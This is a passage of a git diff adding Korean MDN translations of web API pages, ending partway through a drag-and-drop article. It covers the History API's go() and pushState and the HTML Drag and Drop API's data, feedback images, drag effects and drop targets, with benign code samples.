+<p>{{domxref("History.go", "go()")}} 메서드를 사용하면 세션 기록에서 현재 페이지의 위치를 기준으로, 상대적인 거리에 위치한 특정 지점까지 이동할 수 있습니다.</p>
+
+<p>한 페이지 뒤로 이동하려면  다음과 같이 사용합니다. ({{domxref("History.back", "back()")}}과 동일)</p>
+
+<pre class="brush: js">history.go(-1)</pre>
+
+<p>한 페이지 앞으로 이동하려면  다음과 같이 사용합니다. ({{domxref("History.forward", "forward()")}}와 동일)</p>
+
+<pre class="brush: js">history.go(1)</pre>
+
+<p>매개변수로 지정한 숫자를 바꾸면 2 페이지씩 이동하는 것도 가능합니다.</p>
+
+<p><code>go()</code>의 다른 사용법은 매개변수를 제공하지 않거나 0을 제공해 현재 페이지를 다시 불러오는 것입니다.</p>
+
+<pre class="brush: js">// The following statements
+// both have the effect of
+// refreshing the page
+history.go(0)
+history.go()</pre>
+
+<p>{{domxref("History.length", "length")}} 속성을 사용해 방문 기록 스택의 크기도 알아낼 수 있습니다.</p>
+
+<pre class="brush: js">let numberOfEntries = window.history.length</pre>
+
+<h2 id="인터페이스">인터페이스</h2>
+
+<dl>
+ <dt>{{domxref("History")}}</dt>
+ <dd>브라우저의 세션 기록에 접근할 수 있는 방법을 제공하는 인터페이스입니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 {{domxref("window.onpopstate")}} 속성에 이벤트 처리기를 부착한 후, {{domxref("window.history", "history")}} 객체를 사용해 브라우저 방문 기록을 추가하거나 대체한 후 탐색하는 코드입니다.</p>
+
+<pre class="brush:js line-numbers language-js">window.onpopstate = function(event) {
+  alert(`location: ${document.location}, state: ${JSON.stringify(event.state)}`)
+}
+
+history.pushState({page: 1}, "title 1", "?page=1")
+history.pushState({page: 2}, "title 2", "?page=2")
+history.replaceState({page: 3}, "title 3", "?page=3")
+history.back() // alerts "location: http://example.com/example.html?page=1, state: {"page":1}"
+history.back() // alerts "location: http://example.com/example.html, state: null"
+history.go(2)  // alerts "location: http://example.com/example.html?page=3, state: {"page":3}"</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "browsers.html#history", "History")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>No change from {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "browsers.html#history", "History")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.History")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("window.history")}}</li>
+ <li>{{domxref("window.onpopstate")}}</li>
+</ul>
diff --git a/files/ko/web/api/html_드래그_앤_드롭_api/drag_operations/index.html b/files/ko/web/api/html_드래그_앤_드롭_api/drag_operations/index.html
new file mode 100644
index 0000000000..122e835b75
--- /dev/null
+++ b/files/ko/web/api/html_드래그_앤_드롭_api/drag_operations/index.html
@@ -0,0 +1,343 @@
+---
+title: Drag Operations
+slug: Web/API/HTML_드래그_앤_드롭_API/Drag_operations
+translation_of: Web/API/HTML_Drag_and_Drop_API/Drag_operations
+---
+<p>{{DefaultAPISidebar("HTML Drag and Drop API")}}</p>
+
+<p>다음은 드래그 &amp; 드랍(drag &amp; drop) 동작 실행 시 각 단계에 대한 설명입니다.</p>
+
+<p class="note">이 문서에 설명된 드래그 동작은 {{domxref("DataTransfer")}} 인터페이스를 사용합니다. 이 문서에서는 {{domxref("DataTransferItem")}} 인터페이스나 {{domxref("DataTransferItemList")}} 인터페이스를 사용하지 않습니다.</p>
+
+<h2 id="draggableattribute" name="draggableattribute">Draggable 속성</h2>
+
+<p>웹 페이지 안에서 특정 상황에 기본 드래그(default drag) 행위가 사용될 경우가 있습니다. 선택된 텍스트(text selections), 이미지 또는 링크가 여기에 포함됩니다. 이미지나 링크가 드래그될 때, 이미지나 링크의 URL이 드래그 데이터(drag data)로 설정되고 드래그가 시작됩니다. 다른 요소의 경우, 기본 드래그가 발생할 선택(selections)에 포함되어 있어야 합니다(For other elements, they must be part of a selection for a default drag to occur). 이 효과를 보기 위해서는 웹 페이지의 어떤 영역을 선택하고 마우스를 클릭한 채로 드래그하면 됩니다. 드래그가 발생할 때 마우스 포인터로 선택 영역에 대한 OS별 렌더링이 표시됩니다. 이 행위는 기본 드래그 행위인 경우에만 발생하는 것으로 드래그되는 데이터를 조정할 리스너가 없는 경우에는 작동하지 않습니다.</p>
+
+<p>HTML에서 이미지나 링크 그리고 선택(selections)에 대한 기본 행위를 제외한 나머지 요소는 기본적으로 드래그되지 않습니다. <a href="/en-US/docs/Mozilla/Tech/XUL">XUL</a>에서는 모든 요소가 드래그 가능합니다.</p>
+
+<p>다른 HTML 요소를 드래그할 수 있게 하려면 세 가지가 이루어져야 합니다:</p>
+
+<ul>
+ <li>드래그가 가능하도록 만들고자 하는 요소에 대한 <code>{{htmlattrxref("draggable")}}</code> 속성이 <code>true</code>로 설정되어야 합니다.</li>
+ <li><code>{{event("dragstart")}}</code> 이벤트에 대한 리스너를 추가합니다.</li>
+ <li>위에서 정의한 리스너에 {{domxref("DataTransfer.setData","Set the drag data")}}를 설정합니다.</li>
+</ul>
+
+<p>컨텐츠의 일부 영역을 드래그할 수 있도록 만드는 예제는 다음과 같습니다.</p>
+
+<pre class="brush: html">&lt;div draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'This text may be dragged')"&gt;
+  This text &lt;strong&gt;may&lt;/strong&gt; be dragged.
+&lt;/div&gt;
+</pre>
+
+<p>요소를 드래그할 수 있게 하기 위해서는 <code>{{htmlattrxref("draggable")}}</code> 속성이 true로 설정되어야 합니다. 이 속성이 생략되거나 false로 설정되면 해당 요소는 드래그할 수 없으며, 대신 텍스트가 선택됩니다. <code>{{htmlattrxref("draggable")}}</code> 속성은 이미지나 링크를 포함한 어떤 요소에서도 사용할 수 있습니다. 하지만, 이미지나 링크에 대해서는 기본값이 true로 설정되어 있으므로 이들 요소에 대해 드래깅할 수 없게 만들 경우에만 <code>{{htmlattrxref("draggable")}}</code> 속성의 값을 false로 설정하면 됩니다.</p>
+
+<p>어떤 요소가 드래그 가능한 경우, 해당 요소 내의 텍스트나 다른 요소는 마우스를 클릭하고 드래그하는 통상적인 방식으로는 선택할 수 없게 됩니다. 대신, 사용자가 <kbd>alt</kbd> 키를 누른채로 마우스로 텍스트를 선택하거나 키보드를 이용해 선택할 수 있습니다.</p>
+
+<p>XUL 요소에 대해서는 <code>{{htmlattrxref("draggable")}}</code> 속성을 사용할 필요가 없으며, 모든 XUL 요소는 드래그가 가능합니다.</p>
+
+<pre class="brush: html">&lt;button label="Drag Me" ondragstart="event.dataTransfer.setData('text/plain', 'Drag Me Button');"&gt;
+</pre>
+
+<h2 id="dragstart" name="dragstart">드래그 작업 시작</h2>
+
+<p>이 예제에서는 <code>{{domxref("GlobalEventHandlers.ondragstart","ondragstart")}}</code> 속성을 이용하여 {{event("dragstart")}} 이벤트에 대한 리스너를 추가합니다.</p>
+
+<pre class="brush: html">&lt;div draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'This text may be dragged')"&gt;
+  This text &lt;strong&gt;may&lt;/strong&gt; be dragged.
+&lt;/div&gt;
+</pre>
+
+<p>사용자가 드래그를 시작할 때, {{event("dragstart")}} 이벤트가 발생합니다. 이 예제에서는 드래그할 요소에 {{event("dragstart")}} 리스너가 추가되었습니다; 하지만, 대부분의 다른 이벤트가 그렇듯이 상위 요소에서 드래그 이벤트를 포착할 수 있습니다. {{event("dragstart")}} 이벤트 내에서 아래에서 설명하는 바와 같이 피드백 이미지(feedback image)나 드래그 효과와 그리고 드래그 데이터를 명시할 수 있습니다. 기본 이미지나 드래그 효과는 대부분의 상황에 적합하게 되어 있으며, 드래그 데이터만 필요합니다.</p>
+
+<h2 id="dragdata" name="dragdata">데이터 드래그</h2>
+
+<p>모든 {{domxref("DragEvent","drag events")}}는 드래그 데이터를 가지고 있는 {{domxref("DragEvent.dataTransfer","dataTransfer")}}라는 속성이 존재합니다 (<code>dataTransfer</code>는 {{domxref("DataTransfer")}} 객체입니다).</p>
+
+<p>드래그가 발생할 때, 데이터는 어떤 것이 드래그되는지를 구분할 수 있는 드래그와 연관되어야 합니다(When a drag occurs, data must be associated with the drag which identifies <em>what</em> is being dragged). 예를 들어, 선택된 텍스트가 드래그될 경우 드래그 데이터 항목에 연관된 데이터는 텍스트 자체입니다. 이와 유사하게, 웹 페이지 상의 링크가 드래그될 경우에 드래그 데이터 항목은 링크의 URL이됩니다.</p>
+
+<p>{{domxref("DataTransfer","drag data")}}는 두 가지 정보를 담고 있는데, 데이터의 유형(또는 형식)과 데이터 값입니다. 형식은 (텍스트 데이터에 해당하는 <a href="/en-US/docs/DragDrop/Recommended_Drag_Types#text" title="text/plain">text/plain</a>과 같은) 형식 문자열(type string) 값이고, 값은 텍스트의 문자열입니다. 드래그가 시작되면, 데이터와 형식을 제공하는 데이터를 추가해야 합니다. 드래그되는 동안, <code>{{event("dragenter")}}</code> 이벤트와 <code>{{event("dragover")}}</code> 이벤트에 대한 이벤트 리스너에서 드래그되는 데이터의 형식을 사용해 드랍이 허용되는지 확인할 수 있습니다. 예를 들어, 링크가 허용되는 드랍 대상(drop target)은 <a href="/en-US/docs/DragDrop/Recommended_Drag_Types#link" title="text/uri-list">text/uri-list</a> 형식의 링크인지 확인합니다. 드랍 이벤트 동안 리스너는 드래그 대상(being dragged)으로부터 데이터를 추출해 드랍되는 위치에 삽입합니다.</p>
+
+<p>{{domxref("DataTransfer","drag data's")}}의 {{domxref("DataTransfer.types","types")}} 속성은 <a href="/en-US/docs/DragDrop/Recommended_Drag_Types#text" title="text/plain">text/plain</a> or <a href="/en-US/docs/DragDrop/Recommended_Drag_Types#image" title="image/jpeg">image/jpeg</a>과 같은 {{domxref("DOMString")}} MIME-type 목록을 반환홥니다. 여러분은 자신만의 형식을 만들 수도 있습니다. 가장 흔하게 사용되는 형식은 권장 드래그 데이터 형식(<a href="/en-US/docs/DragDrop/Recommended_Drag_Types" title="/en-US/docs/DragDrop/Recommended_Drag_Types">Recommended Drag Types</a>)에서 소개하고 있습니다.</p>
+
+<p>드래그에는 여러 가지 다른 형식의 데이터 항목이 포함될 수 있습니다. 이를 통해 사용자 정의 형식(custom types)과 같은 보다 특정한 형식의 데이터를 주로 제공하지만, 특정한 유형을 지원하지 않는 드롭 대상에 대해 대체 데이터(fallback data)를 제공할 수도 있습니다. <a href="/en-US/docs/DragDrop/Recommended_Drag_Types#text" title="text/plain">text/plain</a> 형식의 일반적인 텍스트 데이터가 가장 단순한 형식의 데이터일 것입니다.이 형식의 데이터는 단순히 텍스트 형식으로 표시될 것입니다.</p>
+
+<p>{{domxref("DragEvent.dataTransfer","dataTransfer")}} 내에 드래그 데이터 항목(drag data item)을 설정하기 위해서는 {{domxref("DataTransfer.setData","setData()")}} 메서드를 이용합니다. 이 메서드는 각각 데이터 형식과 데이터 값인 두 개의 인자가 필요합니다. 예를 들어:</p>
+
+<pre class="brush: js">event.dataTransfer.setData("text/plain", "Text to drag");
+</pre>
+
+<p>이 경우, 데이터 값은 "Text to drag"이고 형식은 <a href="/en-US/docs/DragDrop/Recommended_Drag_Types#text" title="text/plain">text/plain</a>입니다.</p>
+
+<p>여러 형식의 데이터를 제공할 수도 있습니다. 이를 위해서는 서로 다른 형식으로 {{domxref("DataTransfer.setData","setData()")}} 메서드를 여러 번 호출합니다. 이 때, 가장 세부적인 형식에서 덜 세부적인 형식의 순으로 호출해야 합니다.</p>
+
+<pre class="brush: js">var dt = event.dataTransfer;
+dt.setData("application/x-bookmark", bookmarkString);
+dt.setData("text/uri-list", "http://www.mozilla.org");
+dt.setData("text/plain", "http://www.mozilla.org");
+</pre>
+
+<p>여기서 데이터는 세가지 유형으로 추가됩니다. 첫번째 형식의 'application2x-bookmark'는 사용자 지정 형식입니다. 다른 응용 프로그램에서는 이 형식을 지원하지 않지만 동일한 사이트 또는 응용 프로그램의 영역 간 드래그할 경우, 이 사용자 지정 형식을 사용할 수 있습니다. 또한 다른 형식의 데이터를 제공함으로써 덜 세부적인 형태로 다른 애플리케이션으로의 드래그도 지원할 수 있습니다. 다른 형식이 하나의 URL또는 텍스트 형식만 제공할 때, 'application2x-bookmark' 형식은 해당 어플리케이션 내에서 사용될 경우 더 상세한 데이터를 제공할 수 있습니다</p>
+
+<p>이 예제에서 <a href="/en-US/docs/DragDrop/Recommended_Drag_Types#link" title="text/uri-list">text/uri-list</a>와 <a href="/en-US/docs/DragDrop/Recommended_Drag_Types#text" title="text/plain">text/plain</a>은 동일한 데이터를 담고있음에 주목하시기 바랍니다. 이렇게 해도 되지만, 꼭 이럴 필요는 없습니다.</p>
+
+<p>동일한 형식으로 데이터를 두 번 추가하려고 하면 새로운 데이터가 기존 데이터를 대체하지만 형식 목록 내에서 이전 데이터(old data)와 같은 위치에 있게 됩니다.</p>
+
+<p>{{domxref("DataTransfer.clearData","clearData()")}} 메서드를 이용해 해당 데이터를 지울 수 있는데, 이 메서드는 지우고자 하는 데이터의 형식을 인자로 가집니다.</p>
+
+<pre class="brush: js">event.dataTransfer.clearData("text/uri-list");
+</pre>
+
+<p>{{domxref("DataTransfer.clearData","clearData()")}} 메서드에 대한 형식 인자는 선택적입니다. 형식을 지정하지 않으면 모든 형식과 연관된 데이터가 지워집니다. 드래그할 때, 드래그 데이터 항목이 없거나 이후에 모든 항목이 삭제되면 드래그가 발생하지 않습니다.</p>
+
+<h2 id="dragfeedback" name="dragfeedback">드래그 피드백 이미지 설정</h2>
+
+<p>드래그가 발생할 때, 드래그 대상("{{event("dragstart")}}" 이벤트가 발생한 요소)으로부터 반투명한 이미지가 생성되고 드래그 하는 동안 마우스 포인터를 따라 움직입니다. 이 이미지는 자동으로 생성되며, 따로 생성할 필요가 없습니다. 하지만, {{domxref("DataTransfer.setDragImage","setDragImage()")}}를 이용해 사용자 정의 드래그 피드백 이미지를 지정할 수 있습니다.</p>
+
+<pre class="brush: js">event.dataTransfer.setDragImage(image, xOffset, yOffset);
+</pre>
+
+<p>세 개의 인자는 필수입니다. 첫 번째 인자는 이미지에 대한 참조(reference)입니다. 이 참조는 일반적으로 이미지에 대한 참조이나 캔버스(canvas)나 다른 요소를 지정할 수도 있습니다. 피드백 이미지는 단순하게 화면에 표시된 이미지의 모양으로부터 생성되지만, 이미지의 경우 원래 크기로 그려집니다. {{domxref("DataTransfer.setDragImage","setDragImage()")}} 메서드의 두 번째와 세 번째 인자는 마우스 포인터에 대해 상대적인 옵셋(offsets)으로 이미지가 나타날 위치를 의미합니다.</p>
+
+<p>문서 내에 있지 않은 이미지나 캔버스를 사용하는 것 역시 가능합니다. 이 기법은 다음의 예제와 같이 캔버스 요소를 이용해 드래그 이미지를 사용자 정의 형태로 그리고자 할 때 유용합니다:</p>
+
+<pre class="brush: js">function dragWithCustomImage(event) {
+  var canvas = document.createElementNS("http://www.w3.org/1999/xhtml","canvas");
+  canvas.width = canvas.height = 50;
+
+  var ctx = canvas.getContext("2d");
+  ctx.lineWidth = 4;
+  ctx.moveTo(0, 0);
+  ctx.lineTo(50, 50);
+  ctx.moveTo(0, 50);
+  ctx.lineTo(50, 0);
+  ctx.stroke();
+
+  var dt = event.dataTransfer;
+  dt.setData('text/plain', 'Data to Drag');
+  dt.setDragImage(canvas, 25, 25);
+}
+</pre>
+
+<p>이 예제에서, 드래그 이미지를 표시할 캔버스를 하나 생성합니다. 캔버스는 너비가 와 높이가 모두 50 픽셀이고, 마우스 포인터가 이미지의 중앙에 위치하도록 옵셋(offsets)을 너비와 높이의 절반(25)으로 설정했습니다.</p>
+
+<p>{{h2_gecko_minversion("Using XUL panels as drag images", "9.0")}}</p>
+
+<p>Gecko 개발자일 경우 (Mozilla 어플리케이션 개발자든 add-on 개발자든 상관 없이), Gecko 9.0 {{geckoRelease("9.0")}}에 드래그 피드백 이미지로 XUL {{XULElem("panel")}} 요소를 사용할 수 있도록 하는 지원이 추가되었습니다. 간단히 {{XULElem("panel")}} 요소를 {{domxref("DataTransfer.setDragImage","setDragImage()")}} 메서드로 전달하기만 하면 됩니다.</p>
+
+<p>다음 XUL {{XULElem("panel")}}를 살펴보시기 바랍니다:</p>
+
+<pre class="brush: xml">&lt;<span class="start-tag">panel</span><span class="attribute-name"> id</span>=<span class="attribute-value">"panel" </span><span class="attribute-name">style</span>=<span class="attribute-value">"opacity: 0.6</span><span class="attribute-value">"</span>&gt;
+  &lt;<span class="start-tag">description</span><span class="attribute-name"> id</span>=<span class="attribute-value">"pb"</span>&gt;Drag Me&lt;/<span class="end-tag">description</span>&gt;
+&lt;/<span class="end-tag">panel</span>&gt;
+
+&lt;<span class="start-tag">vbox</span><span class="attribute-name"> align</span>=<span class="attribute-value">"start" </span><span class="attribute-name">style</span>=<span class="attribute-value">"border: 1px solid black;" </span><span class="attribute-name">ondragstart</span>=<span class="attribute-value">"startDrag(event)"</span>&gt;
+  &lt;<span class="start-tag">description</span>&gt;Drag Me&lt;/<span class="end-tag">description</span>&gt;
+&lt;/<span class="end-tag">vbox</span>&gt;
+</pre>
+
+<p>위의 예에서 사용자가 {{XULElem("vbox")}}를 클릭하고 드래그하기 시작하면, 아래의 <code>startDrag()</code> 함수가 호출됩니다.</p>
+
+<pre class="brush: js"><span class="cdata">function startDrag(event) {
+  event.dataTransfer.setData("text/plain", "&lt;strong&gt;Body&lt;/strong&gt;");
+  event.dataTransfer.setDragImage(document.getElementById("panel"), 20, 20);
+}</span>
+</pre>
+
+<p>이 함수는 해당 패널을 드래그 이미지로 사용하고, HTML 형식의 "&lt;strong&gt;Body&lt;/strong&gt;"을 데이터로 가집니다. 텍스트 편집기에 패널을 드랍하면 "<strong>Body</strong>"라는 텍스트가 드랍된 위치에 삽입됩니다.</p>
+
+<h2 id="drageffects" name="drageffects">드래그 효과</h2>
+
+<p>드래그할 때, 여러 가지 작업이 수행될 수 있습니다. <code>copy</code> 작업은 드래그되는 데이터가 현재 위치에서 드랍되는 위치로 복사될 것임을 나타냅니다. <code>move</code> 작업은 드래그되는 데이터가 이동될 것임을 나타내고, <code>link</code> 작업은 특정 형태의 관계(relationship)나 연결(connection)이 소스와 드랍되는 위치 사이에 생성될 것임을 나타냅니다.</p>
+
+<p>드래그 소스(drag source)에 대해 <code>{{event("dragstart")}}</code> 이벤트 리스너의 {{domxref("DataTransfer.effectAllowed","effectAllowed")}} 속성을 설정함으로써, 이 세 가지 작업 중 어떤 것을 허용할 것인지를 지정할 수 있습니다.</p>
+
+<pre class="brush: js">event.dataTransfer.effectAllowed = "copy";
+</pre>
+
+<p>이 예제에서는, 복사만 허용됩니다. 다양한 방식으로 값을 조합할 수 있습니다:</p>
+
+<dl>
+ <dt>none</dt>
+ <dd>어떤 작업도 허용하지 않음.</dd>
+ <dt>copy</dt>
+ <dd>복사만 허용</dd>
+ <dt>move</dt>
+ <dd>이동만 허용</dd>
+ <dt>link</dt>
+ <dd>연결만 허용</dd>
+ <dt>copyMove</dt>
+ <dd>복사 또는 이동만 허용</dd>
+ <dt>copyLink</dt>
+ <dd>복사 또는 연결만 허용</dd>
+ <dt>linkMove</dt>
+ <dd>연결 또는 이동만 허용</dd>
+ <dt>all</dt>
+ <dd>복사, 이동 및 연결 모두 허용</dd>
+</dl>
+
+<p>이 값들은 반드시 위에 나열한 것과 정확하게 일치해야 함에 유의하시기 바랍니다. 예를 들어, {{domxref("DataTransfer.effectAllowed","effectAllowed")}} 속성을 <code>copyMove</code>로 설정하면 복사와 이동 작업이 허용되나 연결(link) 작업은 금지됩니다. {{domxref("DataTransfer.effectAllowed","effectAllowed")}} 속성을 변경하지 않으면 'all' 값과 마찬가지로 어떤 작업도 허용됩니다. 따라서, 특정한 유형의 작업을 제외시키고 싶지 않다면 이 속성을 조정할 필요가 없습니다.</p>
+
+<p>드래그 작업 중에 <code>{{event("dragenter")}}</code> 또는 <code>{{event("dragover")}}</code> 이벤트에 대한 리스너는 어떤 작업이 허용되어 있는지 알기 위해 {{domxref("DataTransfer.effectAllowed","effectAllowed")}} 속성을 확인할 수 있습니다. 관련된 속성으로, {{domxref("DataTransfer.dropEffect","dropEffect")}}는 이들 이벤트 중 하나에서 수행되어야 하는 단일 작업을 지정하기 위해 설정되어야 할 속성입니다. {{domxref("DataTransfer.dropEffect","dropEffect")}}에 유효한 값은 <code>none</code>, <code>copy</code>, <code>move</code>, 또는 <code>link</code>입니다. 이 속성에 값의 조합은 허용되지 않습니다.</p>
+
+<p><code>{{event("dragenter")}}</code>나 <code>{{event("dragover")}}</code> 이벤트가 발생하면 사용자가 요청하는 효과로 {{domxref("DataTransfer.dropEffect","dropEffect")}} 속성이 초기화됩니다. 사용자는 한정자 키를 눌러 원하는 효과로 수정할 수 있습니다. 플랫폼에 따라 정확한 키가 달라질 수 있지만, 일반적으로 쉬프트(Shift)와 컨트롤(Control) 키가 복사하기, 이동하기, 연결하기 간 전환에 사용됩니다. 마우스 포인터를 원하는 작업을 나타내도록 변경할 수 있습니다; 예를 들어, 복사 작업에 대해서는 마우스 포인터 옆에 더하기 기호가 표시된 커서가 나타날 수 있습니다.</p>
+
+<p><code>{{event("dragenter")}}</code> 또는 <code>{{event("dragover")}}</code> 이벤트가 발생하는 동안 {{domxref("DataTransfer.dropEffect","dropEffect")}} 속성을 변경할 수 있는데, 예를 들자면, 특정 작업만 지원되는 특수한 드랍 대상(drop target)일 경우가 그렇습니다. {{domxref("DataTransfer.dropEffect","dropEffect")}} 속성을 수정하여 사용자 효과(user effect)를 오버라이드하여 특정한 드랍 작업이 발생하게 할 수 있습니다. 이 효과는 {{domxref("DataTransfer.effectAllowed","effectAllowed")}} 속성에 열거된 것 중의 하나 이어야 함에 유의하시기 바랍니다. 그렇지 않을 경우, 허용되는 대체 값으로 설정되게 됩니다.</p>
+
+<pre class="brush: js">event.dataTransfer.dropEffect = "copy";
+</pre>
+
+<p>이 예제에서는 복사가 수행될 효과입니다.</p>
+
+<p>이 경우에는 이벤트를 취소하지 않는 것이 좋지만 <code>none</code> 값을 사용하여 이 위치에서 드롭이 허용되지 않음을 나타낼 수 있습니다.</p>
+
+<p><code>{{event("drop")}}</code>와 <code>{{event("dragend")}}</code> 이벤트 내에서{{domxref("DataTransfer.dropEffect","dropEffect")}} 속성을 확인하면 최종적으로 어떤 효과가 선택되었는지를 알 수 있습니다. 선택된 효과가 "move"였다면, <code>{{event("dragend")}}</code> 이벤트 내에서 드래그 소스의 원본 데이터가 삭제되어야 합니다.</p>
+
+<h2 id="droptargets" name="droptargets">드랍 대상 지정하기</h2>
+
+<p><code>{{event("dragenter")}}</code>와 <code>{{event("dragover")}}</code> 이벤트에 대한 리스너는 유효한 드랍 대상인지, 즉 드래그된 아이템이 드랍될 수 있는 곳인지를 나타내는데 사용할 수 있습니다. 웹 페이지 또는 어플리케이션의 대부분의 영역은 데이터를 드랍할 수 있는 유효한 영역이 아닙니다. 따라서, 이들 이벤트에 대한 기본적인 처리는 드랍을 허용하지 않는 것입니다.</p>
+
+<p>드랍을 허용하길 원한다면, 해당 이벤트를 취소하는 기본 처리를 막아야 합니다. 속성 정의(attribute-defined) 이벤트 리스너로부터 <code>false</code>를 반환 받거나 해당 이벤트의 {{domxref("Event.preventDefault","preventDefault()")}} 메서드를 호출하면 됩니다. 후자는 별도의 스크립트에 정의된 함수에 더 적합합니다.</p>
+
+<pre class="brush: html">&lt;div ondragover="return false"&gt;
+&lt;div ondragover="event.preventDefault()"&gt;
+</pre>
+
+<p><code>{{event("dragenter")}}</code> and <code>{{event("dragover")}}</code> 두 이벤트 모두에서 {{domxref("Event.preventDefault","preventDefault()")}} 메서드를 호출하는 것은 그 위치에 드랍이 허용되는 것을 나타냅니다. 하지만, 일반적으로 특정한 상황에서만, 예를 들자면 링크가 드래그될 때만 {{domxref("Event.preventDefault","preventDefault()")}} 메서드를 호출하길 원할 것입니다. 이렇게 하기 위해서는 조건을 확인하여 조건이 충족될 때에만 해당 이벤트를 취소하는 함수를 호출합니다. 조건이 충족되지 않을 경우, 이벤트를 취소하지 않으면 사용자가 마우스 버튼을 놓더라도 드랍은 발생하지 않을 것입니다.</p>
+
+<p>data transfer의 드래그 데이터 형식에 따라 드랍을 허용하거나 기각하는 경우가 대부분일 것입니다(예를 들어, 이미지나 링크를 허용하거나 둘 다 허용하는 경우). 이렇게 하기 위해서는 이벤트의 {{domxref("DragEvent.dataTransfer","dataTransfer")}} 속성의 {{domxref("DataTransfer.types","types")}} 속성을 확인합니다. {{domxref("DataTransfer.types","types")}} 속성은 드래그가 시작될 때 추가된 형식 문자열의 배열을 반환하는데, 그 순서는 가장 세부적인 형식에서 가장 덜 세부적인 형식의 순서입니다.</p>
+
+<pre class="brush: js">function contains(list, value) {
+    for( var i = 0; i &lt; list.length; ++i ) {
+        if(list[i] === value) return true;
+    }
+    return false;
+}
+
+function doDragOver(event) {
+  var isLink = contains( event.dataTransfer.types, "text/uri-list");
+  if (isLink) {
+    event.preventDefault();
+  }
+}</pre>
+
+<p>이 예제에서 형식 목록 내에 <a href="/en-US/docs/DragDrop/Recommended_Drag_Types#link" title="text/uri-list">text/uri-list</a> 형식이 존재하는지 확인하기 위해 <code>contains</code> 메서드를사용합니다. 존재할 경우에는 드랍을 허용하기 위해 이벤트가 취소될 것입니다. 드래그 데이터가 링크를 포함하지 않았다면, 해당 이벤트는 취소되지 않을 것이고 그 위치에 대한 드랍이 발생하지 않을 것입니다.</p>
+
+<p>수행되어야 하는 작업 형식을 더 세부적으로 설정하길 원한다면, {{domxref("DataTransfer.effectAllowed","effectAllowed")}}나 {{domxref("DataTransfer.dropEffect","dropEffect")}} 속성을 각각 설정하거나 동시에 둘 다를 설정하고 싶을 것입니다. 두 속성을 변경하더라도 해당 이벤트를 취소하지 않으면 아무런 영향이 없을 것입니다.</p>
+
+<h3 id="Updates_to_DataTransfer.types">Updates to DataTransfer.types</h3>
+
+<p>최신 스펙에는 {{domxref("DataTransfer.types")}}이 {{domxref("DOMStringList")}}(이 속성은 Fiirefox 52 이상에서 지원됨)이 아닌 {{domxref("DOMString")}} 형식의 고정배열(fronzen array)을 반환하도록 명시하고 있음에 유의하시기 바랍니다.</p>
+
+<p>그 결과로, <a href="/en-US/docs/Web/API/Node/contains">contains</a> 메서드는 해당 속성에 대해 더 이상 동작하지 않으며; 특정 형식의 데이터가 제공되는지 확인하기 위해서는 다음 코드와 같이 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/includes">includes</a> 메서드를 사용해야 합니다:</p>
+
+<pre class="brush: js">if ([...event.dataTransfer.types].includes('text/html')) {
+  // Do something
+}</pre>
+
+<p>일부 특성 검출(feature detection)을 이용해 <code>types</code>에 대해 어떤 메서드가 지원되는지를 판별하고 적절하게 코드를 실행할 수 있습니다.</p>
+
+<h2 id="dropfeedback" name="dropfeedback">Drop Feedback</h2>
+
+<p>There are several ways in which you can indicate to the user that a drop is allowed at a certain location. The mouse pointer will update as necessary depending on the value of the {{domxref("DataTransfer.dropEffect","dropEffect")}} property. Although the exact appearance depends on the user's platform, typically a plus sign icon will appear for a 'copy' for example, and a 'cannot drop here' icon will appear when a drop is not allowed. This mouse pointer feedback is sufficient in many cases.</p>
+
+<p>However, you can also update the user interface with an insertion point or highlight as needed. For simple highlighting, you can use the <code>-moz-drag-over</code> CSS pseudoclass on a drop target.</p>
+
+<pre class="brush: css">.droparea:-moz-drag-over {
+  border: 1px solid black;
+}
+</pre>
+
+<p>In this example, the element with the class <code>droparea</code> will receive a 1 pixel black border while it is a valid drop target, that is, if the {{domxref("Event.preventDefault","preventDefault()")}} method was called during the <code>{{event("dragenter")}}</code> event. Note that you must cancel the <code>{{event("dragenter")}}</code> event for this pseudoclass to apply, as this state is not checked for the <code>{{event("dragover")}}</code> event.</p>
+
+<p>For more complex visual effects, you can also perform other operations during the <code>{{event("dragenter")}}</code> event, for example, by inserting an element at the location where the drop will occur. For example, this might be an insertion marker or an element that represents the dragged element in its new location. To do this, you could create an <a href="/en-US/docs/XUL/image" title="image">image</a> or <a href="/en-US/docs/XUL/separator" title="separator">separator</a> element, for example, and simply insert it into the document during the <code>{{event("dragenter")}}</code> event.</p>
+
+<p>The <code>{{event("dragover")}}</code> event will fire at the element the mouse is pointing at. Naturally, you may need to move the insertion marker around a <code>{{event("dragover")}}</code> event as well. You can use the event's {{domxref("MouseEvent.clientX","clientX")}} and {{domxref("MouseEvent.clientY","clientY")}} properties as with other mouse events to determine the location of the mouse pointer.</p>
+
+<p>Finally, the <code>{{event("dragleave")}}</code> event will fire at an element when the drag leaves the element. This is the time when you should remove any insertion markers or highlighting. You do not need to cancel this event. Any highlighting or other visual effects specified using the <code>-moz-drag-over</code> pseudoclass will be removed automatically. The <code>{{event("dragleave")}}</code> event will always fire, even if the drag is cancelled, so you can always ensure that any insertion point cleanup can be done during this event.</p>
+
+<h2 id="drop" name="drop">Performing a Drop</h2>
+
+<p>When the user releases the mouse, the drag and drop operation ends. If the mouse was released over an element that is a valid drop target, that is, one that cancelled the last <code>{{event("dragenter")}}</code> or <code>{{event("dragover")}}</code> event, and then the drop will be successful, and a <code>{{event("drop")}}</code> event will fire at the target. Otherwise, the drag operation is cancelled, and no <code>{{event("drop")}}</code> event is fired.</p>
+
